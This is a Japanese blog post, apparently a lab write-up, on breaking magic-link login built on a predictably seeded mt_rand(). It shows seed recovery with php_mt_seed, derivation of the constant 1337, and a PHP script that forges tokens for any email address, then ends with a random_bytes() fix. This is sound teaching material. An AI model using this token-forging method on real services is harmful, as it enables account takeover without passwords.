0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】擬似乱数の落とし穴―mt_rand() と予測可能シードによる認証突破

0
Last updated at Posted at 2026-01-08

はじめに

本タスクでは、擬似乱数生成器(PRNG)の初期化に予測可能なシードを使用した場合に生じる脆弱性に焦点を当てる。

PRNG は本質的に 決定論的 なアルゴリズムであり、
同じシードを与えれば、同じ乱数列が必ず生成される

そのため、シードが弱い、あるいは予測可能である場合、
攻撃者は乱数列を完全に再現できてしまい、
乱数に依存するあらゆるセキュリティ機構が破綻する。


予測可能なシードがもたらす影響

CAPTCHA への影響

CAPTCHA システムでは、ランダムな値を用いて
「人間かボットか」を判定する問題を生成する。

しかし、PRNG のシードが予測可能である場合、

  • CAPTCHA の値を事前に予測
  • 正解を自動生成
  • CAPTCHA を回避

といった攻撃が可能になる。


宝くじ・ゲームシステムへの影響

PRNG は以下のような場面でも多用されている。

  • 抽選・くじ引き
  • ガチャ
  • ゲーム内ドロップ率
  • ランダムイベント

もし PRNG が タイムスタンプなどの予測可能な値で初期化されていれば、
攻撃者は結果を事前に計算し、常に勝つことができる。

これは「運」ではなく、完全なロジック破壊である。


実践シナリオ:Magic Link 認証の突破

本シナリオでは、Magic Link ログイン機能において
予測可能なシードを使用してトークンを生成している実装を解析し、
アカウント乗っ取りが成立するまでの流れを確認する。


使用するアカウント

  • メールアドレス:magic@mail.random.thm
  • メールパスワード:Testing@123

Magic Link の取得

  1. Web アプリで「Login with Magic Link」をクリック
  2. メールアドレス magic@mail.random.thm を入力
  3. Magic Link がメールで送信される

受信したリンクは以下の形式になっている。

http://random.thm:8090/case/magic_link_login.php?token=MTEzNTUwODU0MQ==

Screenshot 2026-01-08 at 17.18.55.png

この tokenBase64 エンコードされた乱数である。


サーバー側トークン生成ロジック

Magic Link のトークンは、以下の PHP コードで生成されている。

mt_srand(CONSTANT_VALUE + crc32($email));

$random_number = mt_rand();
$token = base64_encode($random_number);

処理の流れ

  1. ユーザーのメールアドレスから crc32() を計算
  2. それに定数値(CONSTANT_VALUE)を加算
  3. mt_srand() で PRNG を初期化
  4. mt_rand() で乱数生成
  5. Base64 エンコードしてトークン化

何が問題なのか?

mt_rand() は暗号学的に安全ではない

mt_rand()Mersenne Twister を使用する PRNG であり、

  • 高速
  • 統計的には優秀
  • 完全に決定論的

という特徴を持つ。

一度シードが分かれば、

すべての乱数列が完全に再現可能

である。


トークンのデコード

まず、Magic Link に含まれる Base64 トークンをデコードする。

MTEzNTUwODU0MQ== → 1135508541

この値は mt_rand() の出力そのものである。


シードの逆算(Exploitation)

ここで使用するのが php_mt_seed というツールである。

このツールは、
mt_rand() の出力から、使用されたシード候補を逆算できる。

実行例

./php_mt_seed 1135508541

出力結果:

root@ip-10-64-82-141:~/Rooms/InsecureRandomness# ./php_mt_seed 1135508541
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 1509.9 Mseeds/s 
Version: 5.2.1+
Found 0, trying 0x30000000 - 0x31ffffff, speed 12.3 Mseeds/s 
seed = 0x318ff649 = 831518281 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0x38000000 - 0x39ffffff, speed 12.3 Mseeds/s 
seed = 0x39dc3504 = 970732804 (PHP 7.1.0+)
Found 2, trying 0x6c000000 - 0x6dffffff, speed 12.2 Mseeds/s 
seed = 0x6d8817a7 = 1837635495 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x6d8817a7 = 1837635495 (PHP 7.1.0+)
Found 4, trying 0xbe000000 - 0xbfffffff, speed 12.3 Mseeds/s 
seed = 0xbe3249b3 = 3190966707 (PHP 5.2.1 to 7.0.x; HHVM)
Found 5, trying 0xfe000000 - 0xffffffff, speed 12.3 Mseeds/s 
Found 5

複数候補が出るが、実際の環境で検証することで
正しいシードは 970732804 であると判明する。


定数値(CONSTANT_VALUE)の特定

シードは次の式で作られていた。

seed = crc32(email) + constant

メールアドレス magic@mail.random.thm の CRC32 は:

970731467

Screenshot 2026-01-08 at 17.13.45.png

したがって、

970732804 - 970731467 = 1337

定数値は 1337 であることが分かる。


攻撃が成立する理由

攻撃者が必要とする情報は たった1つ

対象ユーザーのメールアドレス

それだけで、

  1. CRC32 を計算
  2. 定数値 1337 を加算
  3. mt_srand()
  4. mt_rand()
  5. Base64 エンコード

という手順で、正しい Magic Link トークンを完全再現できる。


トークン生成スクリプト(攻撃用)

以下の PHP スクリプトを使えば、
任意ユーザーの Magic Link トークンを生成できる。

magic_link_login.php

<?php
if (isset($_GET['email']) && isset($_GET['constant']) && is_numeric($_GET['constant'])) {
    $email = $_GET['email'];
    $constant = (int)$_GET['constant']; 

    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $seed = crc32($email) + $constant;
        mt_srand($seed);

        echo "<h3>Predicted Magic Link Tokens for $email</h3>";
        for ($i = 0; $i < 10; $i++) {
            $random_number = mt_rand();
          
            $token = base64_encode($random_number);
            echo "Predicted magic link token " . ($i + 1) . ": " . $token . "<br>";
        }
    } else {
      
        echo "<div style='color:red;'>Invalid email format. Please provide a valid email.</div>";
    }
} else {
    echo "<div style='color:red;'>Please provide valid GET parameters: 'email' (valid email address) and 'constant' (numeric value).</div>";
}
?>

サーバを運行して

php -S 0.0.0.0:8181

magic_link_login.phpにアクセスして

Screenshot 2026-01-08 at 17.18.00.png

生成したトークンを以下の URL に渡すだけでよい。

http://random.thm:8090/case/magic_link_login.php?token={predicted_token}

Screenshot 2026-01-08 at 17.17.35.png

これにより、パスワード不要でログイン可能となる。


なぜこの設計は危険なのか

問題点 内容
PRNG mt_rand()(非 CSPRNG)
シード CRC32 + 定数
予測性 メールアドレスのみで再現可能
結果 認証完全突破

正しい対策

悪い例

mt_srand(crc32($email) + 1337);
$token = base64_encode(mt_rand());

良い例

$token = bin2hex(random_bytes(32));
  • CSPRNG を使用
  • シード管理不要
  • 高エントロピー
  • 再現不可能

まとめ

  • PRNG は シードが命
  • 予測可能なシードは 即アウト
  • mt_rand() は 認証用途に使ってはいけない
  • Magic Link は 鍵と同等の扱いが必要

「ランダムっぽい」は「安全」ではない

この違いを理解できていない実装は、
遅かれ早かれ破られる。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?